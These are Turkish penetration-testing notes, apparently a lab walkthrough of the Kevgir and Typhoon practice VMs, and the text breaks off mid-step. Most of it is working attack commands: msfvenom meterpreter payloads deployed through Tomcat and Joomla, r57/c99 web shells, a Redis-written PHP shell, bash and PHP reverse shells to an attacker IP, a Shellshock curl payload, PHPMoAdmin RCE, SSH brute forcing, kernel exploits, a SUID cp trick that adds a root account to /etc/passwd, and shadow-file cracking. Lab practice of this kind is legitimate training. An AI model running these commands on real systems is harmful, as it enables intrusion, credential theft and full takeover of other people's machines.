Hali hazırda tomcat manager kullanıcı adı passwor ile giriş yapmıştık


buraya bir var arşhive ile zararlı kodları yükleyebilir ve burada onu tetikleyip kendi makinemizde bunu dinleyerek hedef makineden shell alıp sızabiliriz


peki bunu naıl yaparız?


En temelde bunun için bir msfvenom aracımız var bunu kullanabiliriz


payloadımızı java ile oluşturacağız çünkü tomcat:


java ile gelişrilmiş web uygulamarını çalıştırmak için kullanılan bir uygulama sunucusudur.


sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4445 -f war > tomcat.war


ls -l tomcat.war ile dosyamızın oluşrulduğunu görebiliriz


daha sonra zararlı kodu tetikeyip dinleyiciden shell imizi alacağız


içeriği açmadan içine bakalım


unzip -lv tomcat.war


içerisinde zararlı klasörü oluşturmamış o zaman:


sudo msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4445 -f war > tomcat.war


not: jdk yükleme:


kotnrol et: javac –version


çalışırsa yüklü değilse:


sudo apt install -y openjdk-17-jdk


daha sonra javac –version


jar -xvf tomcat.war


şuan zararlı kodu tanımladı: inflated: wxialqkvezb.jsp


şimdi bunu içeri yükleyeceğiz


browserdan http://192.168.10.128:8080/


burada manager webapp tıklayın ve


usernaem: tomcat


password: tomcat


en aşağıya in browser butonuna tıkla


oluşturduğun tomcat.war dosyanı bul ve seç


şimdi deploy deyin


sayfada Applications tablosunda eklenen dosyanızı görebilirsiniz. Şimdi:


buna tıklayın


şuan bir şey yok biz bunun altındaki şu dosyaya gideceğiz: wxialqkvezb.jsp


bu dosya tetiklendiğinde bize bir ters bağlantı getirecektir


şimdi metesloite geçelim ve search multi handler aratalım


şu exploit tipini use edin: 7 exploit/multi/handler . manual No Generic Payload Handler


use 7


set PAYLOAD linux/x86/meterpreter/reverse_tcp


set LHOST 192.168.10.130


set LPORT 4445


ipmizin 4445 portuna gelen bağlantıları dinleyecek şekilde yapılandırdık


şimdi biz bunu exploit -j ile bir job olarak ayaklandırırsak birden çok istek aynı anda geldiğinde bunları sessions tarafında kontrol edebiliriz


jobs ile buna bakabilir ve gelen istek olursa bunu da sessions dan kontrol edip id numarası ile geçiş yapabilirisiniz


şimdi wxialqkvezb.jsp dosyamızı tomcatte girdiğimzi dizinde url kısmında yazarak çalıştıralım


örn: http://192.168.10.128:8080/tomcat/wxialqkvezb.jsp


ve reverseShell geldi :)


daha önceki kodalarımızı yazabiliriz


help ile çalıştırılabilecek komutları görebilirsinzi


job oluşturduğumuzdan artık bir servisimiz var


shell dedikten sonra şu komut ile:


python -c "import pty;pty.spawn('/bin/bash')"


bash görünümü alabilirsiniz


Ve böylelikle manuel kısımda şimdilik buraya kadar.


İlerleyen aşamada yetki yükseltmeyi de yapacağız
EXPLOIT AŞAMASINA= Joomla:


Hatırlarsak 8081 portun da joomla vardı bir gidelim oraya:


http://192.168.10.128:8081


ctrl + u ile kaynak kodu görüntüleyelim


burada joomla nın 1.5 sürümü var


internette bununla ilgili araştırma yapabiliriz


how to exploit joomla 1.5


şöeyle bir zafiyeti var bakalım


Joomla! 1.5.x - 'Token' Uzaktan Yönetici Değiştirme Parolası


diyor


aşağıda bir örnek var mesela Example: kısmında


bizi yönlendiriyor:


hedef:
target.com/index.php?option=com_user&view=reset&layout=confirm



target.com bizim hedef url yani:


http://192.168.10.128:8081/index.php?option=com_user&view=reset&layout=confirm


daha sonra token alanına ‘ işaretini koyun ve submit deyin


burada yönetici için yeni bir şifre belirle diyor


belirleyin birtane: örn: administrator


şimdi şu adrese gidin:


http://192.168.10.128:8081/administrator/


kullanıcı adı: admin


parola: administrator


şuan da yetkili bir şekilde joomla içerisine girdik


burad ne gibi şeyler yapılabilir:


web site içeriği değiştirilebilir ama burada esas mesela mümkün mertebe “sunucuya girmeye çalışmak” olacaktır


bu tür içerik yönetimi sistemlerde de bir çoğunda “template manager” lar vardır


extension dan template manager e gidelim


şuraya tıklayın: rhuk_milkyway


bu template i düzenlemenize izin verir


sağ yukarıda “edit html” e tıklayın


bu index.php içeriği, mesela şyle bir şey yapabilir:


msfvenom ile bir zararlı php dosyası oluşturalım:


sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4445 -f raw > joomla.php


not: l ile başlayanlar bizin r ile başlayanlar hedefin !!


cat joomla.php


<?php den başlayarak die(); a kadar kopyalayın


şimdi index.php alanı vardı template manager den girmiştik oradaki kodu silip bunu yapıştırın


şimdi sağ yukarıda apple var ona tıklayın


bu kodu oraya yerleştirk ve dinleyicimizin de aktif olduğundan emin olmalıyız


bunu için: msfconsole da


search exploit multi handler


use 7


set PAYLOAD php/meterpreter/reverse_tcp


set LHOST 192.168.10.130


set LPORT 4445


exploit -j


şimdi hedef makinede http://192.168.10.128:8081/ e gidelim ve bize shell gelmesini bekliyorz


eğer shell bağlatınız kesilirse muhtemelen multi handler dinleyicisini düzgün yapılandıramadınız adımlarınıdı tekrar kontrol edin


burada da daha önceki benzer komutları çalıştırabilirsiniz örn:python -c "import pty;pty.spawn('/bin/bash')"


bazı durumlarda meterpreter in bazı versionları düzgün çalışmayabilir bu gibi durumlarda ise:


sudo msfvenom -p linux/x86/meterprete/reverse_tcp lhost=192.168.10.130 lport=4446 -f elf > linjo.elf


şimdi yeni bir msfconsole açın ve yeni bir handler başlatın


daha önceki adımlar ile benzer


set PAYLOAD linux/x86/meterpreter/reverse_tcp


set LHOST 192.168.10.130


set LPORT 4446


exploit -j


oluturulan yeni dosyamızı shell aldığımız msfconsole da upload edelim tam dizin vererek:


meterpreter > upload /home/dogukan/linjo.elf /tmp/linjo.elf


olarak tmp nin altına gönderelim


shell


ls -lh /tmp/linjo.elf


dosyamızı gördük


eğer shell den sonra komut çalıştıramazsanız meterpreter e dönün: exit


çalıştırma izinlerini güncelleylim


chmod +x /tmp/linjo.elf


şimdi çalıştırmak için:


execute -f /tmp/linjo.elf


diğer msfconsole de shell in gelmiş olamsı gerek


ama bir şekilde olmadı!


Şöyle deneyelim:


sudo msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.10.130 lport=4446 -f raw > linjo.php


php üzerinde bir payload hazırlayalım ve hanler ı yeniden düzenleylim


not: adımlar benzer zaten!


Bu da olmadı!!!!


şu adrese gidelim: => link


veya dur!


C99 veya r57 kullanalım!


Bunun için:


şuraya gidelim önce:


http://192.168.10.128:8081/administrator/index.php


buradaki kodu temizleyin sonra gooleye gidin


DİKKAT: bunu kod içeriğini detaylı incelemeden sakın başka sistemlerde kullanmayın zira oldukça kötü sonuçları olabilir.


Php malware code r57 githu => link


buradaki kodu sağ daki raw butonuna basarak kopyalayın


sonra index.php dosyasına yapıştırın


save butonuna tıklayın


sonra: http://192.168.10.128:8081/ e gitmeye çalışın


komut istemi kısmı var buraya:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bunu ayarlayarak yazalım:

bash -i >& /dev/tcp/192.168.10.130/4443 0>&1

uygula demeden önce terminalde netcat aracı ile dinleme yapalım

sudo nc -lvp 4443

shell buraya gelecektir

olmadı c99 u deneyelim

php malware code c99 github => link

aynı adımlar

işlemleri yaptıktan sonra sol aşağıya doğru enter:

diye bir boş alan var buraya shell almak için bash komutu vardı onu yerine şunu yazalım:

php -r '$sock=fsockopen("192.168.10.130",4443);exec("/bin/sh -i <&3 >&3 2>&3");'



bu arada terminalden 4443 portunu dinleyin

sudo nc -lvp 4443

evet geldi shell

şunu yazın:

python -c "import pty;pty.spawn('/bin/bash')"

id

uname -a

db dosyalarına bakalım mesela

ls -l |grep con

İki dosyamız var

mesela cat ile birini okuyalım

cat configuration.php

bak bak neler var mış :)

bu işlemi karşınıza çıkan web ekranında da yapabilirsiniz dosya orada da mevcut



Evet güzel bir challenge oldu. Şimdilik bu kadar

EXPLOIT AŞAMASINA= Redis:



Nessus da yaptığımız araştırma da Redis ile ilgili belli başlı zafiyetle çıkarmıştı. (kevgir makinesi)


Özellikle password authentication olmadığına dair (Redis Sunucusu Parola Kimlik Doğrulaması Tarafından Korunmuyor)


bu servis dışarı açılmış ve hata konfigürasyonu varsa biz bu servisin olanakları ile suncuyu elegeçirebilir miyiz?


Şöyle bir arama yapalım:


how to exploit redis site agarri.fr => link


burada asıl hikaye anlatılır


en aşağıda diyor ki


sen bu komutlar ile eğer hatalı bir konfigürasyon varsa bu sunucuyu elegeçireblirsin:


hedef makineye redis-cli ile bağlanmak ve komut vermek için:


sudo redis-cli -h 192.168.10.128


tamamen deneme/yanılma ve düşünerek bunu bulabiliriz.


Adım adım gideli:


CONFIG SET DIR /var/www/html/joomla/tmp/


CONFIG SET DBFILENAME shell.php


şim shell.php, /var/www/html/joomla/tmp/ bu dizin altına yazılacak ve bu shell.php nin içerisine de bir şey yazmamız gerek


https://www.grobinson.me/single-line-php-script-to-gain-shell/


bu adamın tek satırlık bir kodu var:
<?php echo shell_exec($_GET['e'].' 2>&1'); ?>



set PAYLOAD “<?php echo shell_exec($_GET['e'].' 2>&1'); ?>”


bu kod: get parametresinden alınan e yi ekrana basan basit bir php kodu (buradaki e sorgu parametresi)


bgsave dersek arka tarafta bu kayıt edilmiş olabilir bunu deneyeceğiz


http://192.168.10.128:8081/


adresine gidelm zaten burada bi c99 vardı


tmp nin altına bakalım


evet!! shell.php adında bir dosyamız var


budurumad:


http://192.168.10.128:8081/tmp/shell.php


çağırabiliriz


urlde:


http://192.168.10.128:8081/tmp/shell.php?e=ls


başta ve sonda bir takım anlamsız metinler var bu: redis bu dpsyayı yazarken oluyor


ama ortada biz bu dosyanın çalıştığını görebiliyoruz: index.html shell.php


şimdi biz şunu yapabiliriz:


sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.130 lport=5555 -f raw > redis.php


daha sonra bir http servis ayaklandıralım


python -m http.server


bunu yaptığımızda aktif dizin servis edilmeye başlanır bizde oluşturulan dosyamızı buradan alabiliriz


python -m http.server


buraya ulaşmak için: http://<kendi_ipniz:8000>


biz hedef makine url den komut verebiliyorduk o halde:


http://192.168.10.128.8081/tmp/shell.php?e=wget http://192.168.10.130:8000/redis.php


ile dosyayı hedef dizine indirebiliriz.


Muhtemelen kaydetti şimdi bakalım:


http://192.168.10.128.8081/tmp/shell.php?e=ls


evet gelmiş: index.html redis.php shell.php


şimdi:


http://192.168.10.128.8081/tmp/shell.php?e=chmod +x redis.php


olmadı!


Şöyle yapalım:


google: reverse shell cheat sheat


ilk etapda şunu deneyelim:
terminalede: nc -lvp 5555

bash -i >& /dev/tcp/192.168.10.130/5555 0>&1

bunu e= kısmınıa yazalım

bir de bir dinleyici oluşturalım multi handler de

set PAYLOAD php/meterpreter/reverse_tcp

set lhost 192.168.10.130

set lport 5555

nc ile http server i kapatı deneyin

sonra run ile dinleyin



http://192.168.10.128:8081/tmp/shell.php?e=php redis.php


shell geldi.


Bazen böyle aksilikler olabilir pes etmek yok.


Ne yaptık:


redis ten içeri de tek satırlık komut çalıştımamıza imkan sağlan php dosyası yükledik


sonra venom ile redis.php dosyası hazıladık


sonra http server üzerinden wget ile bu dosyayı yükledik


sonra bir handler başlattık


sonra da php ile bu dosyayı çalıştırdık


deneme:


search redis


içeride şöyle bir auxiliary var:


auxiliary/scanner/redis/file_upload


diğer komutları çalıştırmadan bununla da yapabilirsiniz (çalışıp çalışmayacağını net bir şekilde söylemek doğru olmaz bunu denemeniz gerek) => link
EXPLOIT AŞAMASINA= SSH Sömürüsü:


Daha önce ssh sömürüsünden bahsetmiştik şimdi biraz daha üzerinde duralım istiyorum.


Hatırlarsak bir username dosyamız vardı onu bir düzenleyelim.


admin


user


root


nomal bir parola dosyası verecek olsam rockyou verirdim ama daha küçük bir parola dosyası verebiliriz bu aşamada.


Bir de passwor listemiz vardı içerisine:


admin


123123


Administrator


administrator


resu


user


12345678


yapalım maksat sonucu görmek. Normal şartlar altında bu işlemler daha uzun sürebilir. Ve keşif zamanında özel password/user list leri oluşturmak gerekebilir


şimdi:


sudo hydra ssh://192.168.10.128:1322/ -L userList -P passwordList


[1322][ssh] host: 192.168.10.128 login: admin password: admin


[1322][ssh] host: 192.168.10.128 login: user password: resu


şimdi bu bilgiler ile bağlanmayı deneyelim


ssh admin@192.168.10.128 -p 1322


çıkana: yes


parolamız: admin


şimdi aynı işlemi user için deneyin.


Eğer kendiniz bir wordList yapmak isterseniz:


örn: crunch 8 8 0123456789 -t admin@@@ > wordList


yapabilirsiniz mesela.


Ya da hazır parola/user setleri:


ls /usr/share/wordlist/ altında.


Bunlara bakabilirsiniz


hydra, medusa, ncrack, metasploit, burp vb. araçlar ile bunu yapabilirsiniz.


Unutmayıb bir çok yerde çok kötü parola politikası kullanılıyor.


Bunları da localPolicy lere yakalanmadan ve hesapları kitlemeden doğru bir şekilde tespit etmek çok önemli.
EXPLOIT AŞAMASINA= Yetki Yükseltme:


Birçok farklı şekilde hedef sisteme girdik ve neredeyse hepsinde yetkisizdik.


Düşk seviye ile bir sisteme girdiğimizi varsayalım neler yapabiliriz?


Bunun için diğer adımları yapmak yerie enson yaptığımız ssh sömürü ile içeri gireceğiz


ssh user@192.168.10.128 -p 1322


parola: resu


şuan hedef sistemdeyiz


sistemiz ele geçirmenin birden fazla yolu var.


uname -a: çekirdek bilgisi alabiliriz


cat /etc/lsb-release veya cat /etc/issue bilgilerine bakarak bir zafiyeti varmı?


LocalExploiti var mı yok mu ona bakabiliriz


bakalım: exploitDB ye gidelim


burada arama kutusuna ubuntu 14.04.3 yazalım


link


ilk yöntem olarak bir kernel exploiti deneyebiliriz


veya metasploit kullanarak bakabilirz


searchsploit ubuntu 14.04


sudo find / 37088.c|grep 37088.c (tam dizini bulalım)


/usr/share/exploitdb/exploits/linux/local/37088.c


buradaymış


şimdi bunu kopyalayalım mevcut dizinimize


sudo mv /usr/share/exploitdb/exploits/linux/local/37088.c .


şimdi bu dosyamızı karşıya yüklemek için http server ayaklandıralım


python -m http.server


ssh ile girdiğmiz makinede tmp altına gidelim


cd /tmp


şimdi buraya dosyamızı inireceğiz:


wget http://192.168.10.130:8000/37088.c


tmp altına gitmemizin sebebi: her kullanıcının burada yazma okuma izni olabilir


şimdi bu kodu derlemek için:


gcc 37088.c


ls -l ile bakalım: a.out


böyle bir dosya ile derlenmiş


şimdi:


./a.out


bu olmazsa 37292.c olanı da deneyebiliriz


searchsploit ubuntu 14.04


aynı adımlar ile


farklı bir dosya adı verelim:


gcc 37292.c -o ab.out


tekrar deneyelim


olmadı farklı bir tane deneyelim


not: aslında bu kadar çok kernelExploiti denemek çok doğru bir hareket değil


a.out u bir daha deneyelim muhtemelen bir yereleri bozmuş olabilir


biraz bekleyelim denesin olamdı farklı yolla deneriz


NOT: suidbit activeted:


SUID biti, kullanıcıların bir dosyayı kendi izinleri yerine dosya sahibinin izinleriyle yürütmesine olanak tanıyan özel bir izindir.


Bu da olamdı. Şimdi suid biti aktifliğini ele alalım.


Bunun için:


örn: cd /tmp


find /bin -perm /4000 veya find /bin -perm -4000 veya find /bin -perm -u=s -type f 2>/dev/null


bin in altında suid biti ile aktifleştirilmiş bir dosya var mı dedik


ve evet var mış


burada dikkat çeken ise cp komutu


bu komut ile mesela kullanıcıların şifrelerinin bulunduğu dosyamıza brute force ile root şifresini bulabilirsek direk sudo su ile root kullanıcısına geçebiliriz


pwd


/tmp


cp /etc/shadow .


Cat shadow


ARAŞTIRMA:


/etc/shadow ve /etc/passwd yi cp komutu ile bir manipülasyon yapıp root veya admin in parolasız çalışmasısını sağlayacak bir satır düzenlemesi yapılabilir


direkt olarak yetkili bir kullanıcı ile giriş yapılabilir.


Böylece herhangi bir parola güvenliği olmadan direkt giriş sağlanabilir.


Suid biti aktifleştirilmiş cp binarry komutu yakalandığında nasıl kullanıla bilir?


link


bunu kendiniz yapacaksınız!


Benim izlediğim adımlar:


kendimize bir hash ürettik:


openssl passwd -6 -salt ignite pass123


$6$ignite$NpGq6ii4Sbk2v/3uaWdIbMDDbHAt6m.CPYIGYQuoJnMNuKka8NrYFBMd.yYK6n9.3SALkeNDq1CoGbgoW8bgd.


Bunu kullanacağız önce:


önce kendi makinemizde bir passwd dosyası oluşturduk: nano passwd




sonra bu dosya içeriğine kevgir deki /etc/passwd dosya içeriğini yapıştırdık


en sona da bir kullanıcı ekleyeceğiz bunun hemde root haklarına sahip olan:


kevgirRT:$6$ignite$NpGq6ii4Sbk2v/3uaWdIbMDDbHAt6m.CPYIGYQuoJnMNuKka8NrYFBMd.yYK6n9.3SALkeNDq1CoGbgoW8bgd.:0:0:root:/root:/bin/bash


kaydedip çıkalım


bu dosyamızı kevgirden http server oluşturarak wget komutu ile çekelim:


python -m http.server


kevgir makinesinde /tmp altındayız(cd /tmp):


wget http://kendi.kali.ip.si:8000/passwd


muhtemelen başka bir dosya ismiyle kaydedecek(passwd.1)


/tmp altında zaten passwd var bunu içerisine ekmele yapalı passwd.1 içeriğini:


cat passwd.1 > passwd


tail passwd


veya:


echo 'kevgirRT:$6$ignite$NpGq6ii4Sbk2v/3uaWdIbMDDbHAt6m.CPYIGYQuoJnMNuKka8NrYFBMd.yYK6n9.3SALkeNDq1CoGbgoW8bgd.:0:0:root:/root:/bin/bash' >> passwd0


daha sonra su kevgirRT, parola: pass123


whoami


artık en yüksek yetkiye sahip kullanıcıyız!!


iki exploitimiz de işe yaramadı bir de şunu deneyelim:


searchsploit ubuntu 14.04


39166.c dosyasını bulun


sonra:


sudo find / 39166.c|grep 39166.c


/usr/share/exploitdb/exploits/linux/local/39166.c


bunu bulunduğunuz dizine koypyalayın:


cp /usr/share/exploitdb/exploits/linux/local/39166.c .


şimdi karşı makineden wget ile çekmek için http server başlatın


(kopyaladığınız dizinde) python -m http.server


şimdi kevgir de cd /tmp yapın


burada: wget http://192.168.10.130:8000/39166.c


gcc 39166.c -o abc.out


chmod +x abc.out


./abc.out


whoami


artık en yüksek seviyeli kullanıcıyız
EXPLOIT AŞAMASINA= Post Exploit Aşaması:


Hedef sistemde root yetkisindeyiz artık her yere her şeye bakabiliriz.


Bunu için adımları hatırlayalım:


Ssh ile bağlanalım: ssh user@192.168.10.120 -p 1322


parola: resu


farklı terminalde: searchsploit ubuntu 14.04


burada 39166.c


olan dosyamızı bulalım: sudo find / 39166.c|grep 39166.c


/usr/share/exploitdb/exploits/linux/local/39166.c


buradaki dosyayı bulunuduğumuz dizine kopyalayalım


cp /usr/share/exploitdb/exploits/linux/local/39166.c .


şimdi dosya paylaşımı için: pyhthon -m http.server


ssh ile bağlandığımız makineden bu dosyamızı çekelim


cd /tmp


wget http://192.168.10.130:8000/39166.c


şimdi bunu derlelim


gcc 39166.c -o kevgir


çalıştıralım: ./kevgir


artık root uz


önce root un altına gidip burada ne var ne yok bakmalıyız


cd /root


ls -la


örn:


bir ssh key var mı


belki başka bir sisteme tanımlamıştır ve belki bash_history de bağlandığı sistemi görebiliriz


bu key i kendi local makinenize ekleyerek farklı farklı sistemlere gidiş yolunu açabilirsiniz.


Bir bakalım: cd .ssh


ls -la


burada bir key yok


/root altında .mysql_history var buna bakalım


cat .mysql_history


burada daha önce hacklemiştik joomla var meseala bunlara bakabilirisniz çalıştırdıkları komutlara


kullanıcıların bash_history lerine bakabiliriz, daha önce çalıştırdıkları komutlara


cd /home


ls -la


cd /admin


cat .bash_history


bunun yanı sıra üzerinde çalıştırdığı servislere bakmamız gerek


cd /var/www


ls -la


cd html


ls -la


main diye bir alan var mış bakalım:


cd main/


dvwa g0yg0y index.html kevgir.png logo.png mutillidae xvwa zenphoto


burada kesin hacklemek üzerine araştırmanızı tavsiye ettiğim: zenphoto var buna kesi bakın


mesela bir konfigürasyona bakmak istiyoruz


cd /etc/apache2/sites-enable


apache de enable edilmiş lere bakabiliriz


ls -al


mesela şunu okuyalım: 000-default.conf


cat 000-default.conf


burada teker keterk açıp bakabiliriz


burada 80 portunda çalışan yer /var/www/html/main altındaymış


cd /var/www/html/joomla/ gidelim


ls -la


cat configuration.php dosyasında direk configuration dosyalarını okuyarak kullanıcı adı/parolaları yakalayabiliriz


bunun dışında araştırma için: local enumaration, post exploitation konularını arştırmanızı tavsiye ederim (win, linux üzerinde)


bunun dışında cd /mnt altında belki bir disk vardır buna bakabiliriz


cd /backup


burada bir zip dosyası var bunu indirip ne olduğunu anlamayaçalışabilirsiniz


cat /etc/shadow dosya içeriğini koplayayıp kendi local makinenizde yeni bir dosya içerisini bunu yapıştırabiliriz


nano kevgir-shadow


buraya yapıştır kaydet çık


sudo john kevgir-shadow


ile bunu parolo kırma işlemi yaptırabilirsiniz
































Typhoon VM Analizi


İlk olarak hedef makine keşfi için nmap aracını kullanalım


sudo nmap -Pn -sT -n -vv 192.168.10.129 -T4 -p- -sV -oA typhon


veya şöyle yapalım:


sudo nmap -Pn -sT -n -vv 192.168.10.129 -T5 -p- -oA typhon -A


not: buradaki parametrelerin artık ne anlama geldiğini biliyor olmamız gerek


tekrar bir hatırlayalım:


ping atma, tcp üç yollu el sıkışmayı tamamla, adres çözümlemesi yapma, bana her adımı göster, hedef ip, çok hızı yap, tüm portları tara, bana 3 farklı çıktı ver dosya olarak, versiyon tarması yap + enumeration scripleri çalıştır + işletim sistemini öğren


bir sürü şey getirdir bizim için bakalım neler var mış:


21 de ftp varmış


anonim ftp ye izin veriyor muş


22 de ssh


53 de dns, bind 9.9.5-3


80 de apache var mış


/mongoadmin/ bir dizin var mış


mysql(3306), postgresql(5432), redis(6379), http(8080), mongodb(27017)


bunlar dışarı açık ve baya sıkıntılı belki buralarda birşeyler bulabiliriz


bir sistemi exploit etmek istiyorsanız:


hedefte: port, port üzerinde: servis, servisin üzerinde: yazılım


bunları anlamlandırmak ve bunların üzerine gitmek gerekiyor


şimdi başlayalım:


nessus da bir tarama yapalım:


sudo systemctl start nessusd.service


browserda: https://kali:8834/


new scan


advenced scan


name ve description = Typhoon Analyze


targets=<typhoon ip si>


discovery>port scan kısmında port scan tange: all


discovery>port scan kısmında: Network Port Scanners>tcp ye tik at


daha sonra en aşağıda save e basın


gelen ekranda typhoon na tıkla


sonra sağ üst kısmında launch butonuna tıkla


şimdi nessus un güvenlik analizi sonuçlarını bekleyelim


vulnerabilities de gnu bash kısmına baktığımızda bir shellshock zafiyeti var bunu not alalım:


diyorki: /cgi-bin/test.sh


var buradan shellshock zafiyetini tetikleyebilirsin diyor.


Yine redis var bunu da not alalım


ssh var bunu da not alalım


mongoadmin e bakmamız gerek


tomcat de bir şey var mı yok mu kontrol edelim


size challenge olarak NFS zafiyetine bakın araştırın.


Birde wep tarafına bakalım neler var


dirb http://192.168.10.129/


mesela burada drupal var mış buna da bakalım


phpmyadmin var buna bakabiliriz


cms var buna neymiş buna bakabilirz


cms bir bakalım: http://192.168.10.129/cms/


bu lotuscms miş bir bakalım buna


searchsploit -s lotuscms


3.0 için bir zafiyet var


bu lotuscms in versionuna bakabiliyormuyuz bakalım


sayfa kaynağını görüntüleyerek bir bakalım


görmedik ama metasploit ile lotuscms için remote execute deneyebiliriz belki de sömürebiliriz


drupal e bakalım:


http://192.168.10.129/drupal


bunun versiyonuna bakalım


versionu 8 miş buna bir bakalım


searchsploit -s drupal 8


varmış bunları da ekledik listeye


şimdi güvenlik taramalarını yapalım


nessus da tarama yaptığmızda shellshock zaiyeti var demişti bunu nikto ile de bulabilirmiyiz ona bakalım:


nikto -h http://192.168.10.129


evet nikto ile de bulduk.


Birde mongoadmin var diyor bir bakalım neymiş:


http://192.168.10.129/mongoadmin


burada phpmoadmin diye bir yazılım varmış. Buna bir bakalım.


Searchsploit -s phpmoadmin


burada RCE(remote cod execute) varmış. Bunu da kullanabiliriz. Not olarak kalsın.


Zafiyetleri keşfettikten sonra hemen exploit etmeye çalışmayın önce anlamaya çalışın.


Mesela biz ne bulduk:


shellshock bulduk


pypmoadmin diye bir dosya bulduk


lotuscms bulduk


bunların hangisi mantıklı ilk önce onun üzerinden gitmekte fayda var.


bu zafiyetlerden hangisi sistemin/servisin çalışmasını durdurabilir/durdurur mu?.


Yani direkt saldırmayın sisteme. Notlarınızı alarak ilerleyin.


Nmap ile scripting yapabilir hatta bu scriplere ulaşmak için:


ls -la /usr/share/nmap/scripts


deneyelim mesela smb portunda:


sudo nmap 192.168.10.129 -p 445 –script=smb-vuln-* -vv


eğer varsa bir zafiyet direkt kaşınıza getirecektir.


Burada herhangi bir zafiyetin olmadığını görüyoruz


phpmyadmin vardı ona bir bakalım


http://192.168.10.129/phpmyadmin


burada bir giriş yaptım ama şimdilik kalsın


(araştırma: “phpmyadmin shell uploads” araştır.)


sudo nmap 192.168.10.129 -p 445 –script=smb-os-discovery


dediğimizde


fqdn: tyhoon.local:(fqdn: cihazın internet üzerindeki tam adresi)


ve içerisinde de bir dns var


acaba biz dns zone kayıtlarını çekebilirmiyiz? Zone transfer zafiyetini tetikleyebilir miyiz?


Sudo dig AXFR @192.168.10.129 typhoon.local


hedef makineye, typhoon.local domaini için kayıtlarını bana gönder dediğimizde eğer karşı tarafta configuration hatası varsa, zone kayıtlarını herkesle paylaşmaya yönelik bir zafiyet varsa direk içerisindeki kayıtları verecektir.


Ki verdi de
shellshock sömürü


cgi-bin/test.sh da bir shellshock zafiyeti olduğunu bulmuştuk.


Hadi buna bir göz atalım:


http://192.168.10.129/cgi-bin/test.sh


Prisma! Diye bir çıktı verdi.


Şimdi bu zatiyeti hem metasploit ile hemde manuel olarak sömürmeye çalışacağız.


Metasploit ile:


sudo msfconsole


search shellshock


bunu bulalım


exploit/multi/http/apache_mod_cgi_bash_env_exec


use 1


options


set RHOSTS 192.168.10.129


set TARGETURI /cgi-bin/test.sh


biz ise 4444 portunda dinlemede olacağız bize buradan shell gelecek


run


sysinfo


shell


python -c “import pty;pty.spawn(‘/bin/bash’)”


typhoon makinede olduğumuzu görebiliriz


backround


Manuel:


şimdi internette aratalım:


shellshock revers shell=> link


() { ignored;};/bin/bash -i>& /dev/tcp/attacker/port 0>&1


bu bizim payload ımız.


() { :;}; /bin/bash >& /dev/tcp/192.168.10.130/4443 0>&1


bunu curl aracı kullanarak yapacağız:


ama önce port dinleme:


sudo nc -lvp 4443


sonra başka bir terminalde


curl -A “() { :;}; /bin/bash >& /dev/tcp/192.168.10.130/4443 0>&1” http://192.168.10.129/cgi-bin/test.sh


port dinlediğimiz terminale shell gelmesi gerekmekterdir.

















curl -A “() { :;}; /bin/bash >& /dev/tcp/192.168.10.130/4443 0>&1” http://192.168.10.129/cgi-bin/test.sh

veya:

curl -A "() { ignored;};/bin/bash -i >& /dev/tcp/192.168.10.130/4443 0>&1" http://192.168.10.129/cgi-bin/test.sh






www-data yetkisi ile içeri girdik:


pwd


id


uname -a


hostname


hostname -I
SSH Sömürü Aşaması


Hatırlarsak bir user denemesi yapmıştık


onu bir deneyelim:


sudo msfconsole


search ssh_enum


auxiliary/scanner/ssh/ssh_enumusers


use 0


options


set RHOSTS 192.168.10.129


set THREADS 10


set USER_FILE /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt


run


username olarak admin buldu


şimdi admin kullanıcı adını hydra ile brute-force yaparak şifre elde etmeye çalışalım:


sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.129:22


veya






sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.129 -s 22


şimdi bekleyelim


beklerken metasploit de search ssh_login


auxiliary/scanner/ssh/ssh_login


ile de yapabiliriz,. Yapalım.


Use 0


options


set RHOSTS 192.168.10.129


set THREADS 10


set PASS_FILE /usr/share/wordlists/rockyou.txt


set STOP_ON_SUCCESS true


set VERBOSE true


run


beklenen çıktı (hydra):


[22][ssh] host: 192.168.10.129 login: admin password: metallica


burada mesela bir username:password çifti ele geçirdiniz.


Rhosts da bir den fazla hedefe attack yapabilirsiniz


örn: db_nmap -p 22 192.168.10.0/24 –open


tüm network ü tarayıp ssh:22 port u açık olanları alabilir ve daha sonra:


services -p 22 -R ile bunların hepsini tek seferde rhosts a ekleyebilirsiniz


set USERNAME usernmae


set PASSWORD password


run ile deneme yapabilirsiniz


ek olarak medusa ile de yapabiliriz


sudo medusa -h 192.168.10.129 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh -n 22 -t 10


ACCOUNT FOUND: [ssh] Host: 192.168.10.129 User: admin Password: metallica [SUCCESS]


yani bulduğumuz çift: admin:metallica


not: yetki kontrolü için: sudo -l -U kullanıcı_adı
PHPMOADMIN Sömürü Aşaması:


Phpmoadmin diye bir şey keşfetmiştik.


http://192.168.10.129/mongoadmin/


burada phpmoadmin vardı


searchsploit phpmoadmin dediğimizde


remote code execute zafietini görebiliriz


PHPMoAdmin - Unauthorized Remote Code Execution | php/webapps/36251.txt


yine internett araştırma yaparak bunu bulabilirsiniz


ilk önce bu zafiyetin açıklamasında ne vardiye bir okuyalım:


sudo find / 36251.txt|grep 36251.txt


/usr/share/exploitdb/exploits/php/webapps/36251.txt


cat /usr/share/exploitdb/exploits/php/webapps/36251.txt


veya link


adamın söylediğine bak: Birisi bu boku 3000usd'a satmaya çalışıyordu hahaha


diyorki:


bu php için mongodb yönetim aracı.


Eğer sen crul ile post bir istekte şunu yazarsan:


object=1;system('id');exit


ben bunu arka planda işlerim


kullanımı:


sudo curl "http://192.168.10.129/mongoadmin/index.php" -d "object=1;system('id');exit"


burada (‘’) içerisindeki alana komutlarımızı yazabiliriz.


Bu 0-day dir. 2015 de çıkmış. Muhtemelen şuan önlemini almışlardır ama çeşitli spesifikasyonlar ile çalışır hale belki gelebilir??!!?


suit biti aktifliğine bakabiliriz:


find /bin -perm -4000


çekirdek bilgisi:


uname -a


gibi.


Bu komutlar: ('<buraya yazılarak çıktı alınabilir>')


yani:


sudo curl "http://192.168.10.129/mongoadmin/index.php" -d "object=1;system('find /bin -perm -4000');exit"


biz meterpreter ile bir shell almak istiyoruz


bunun için:


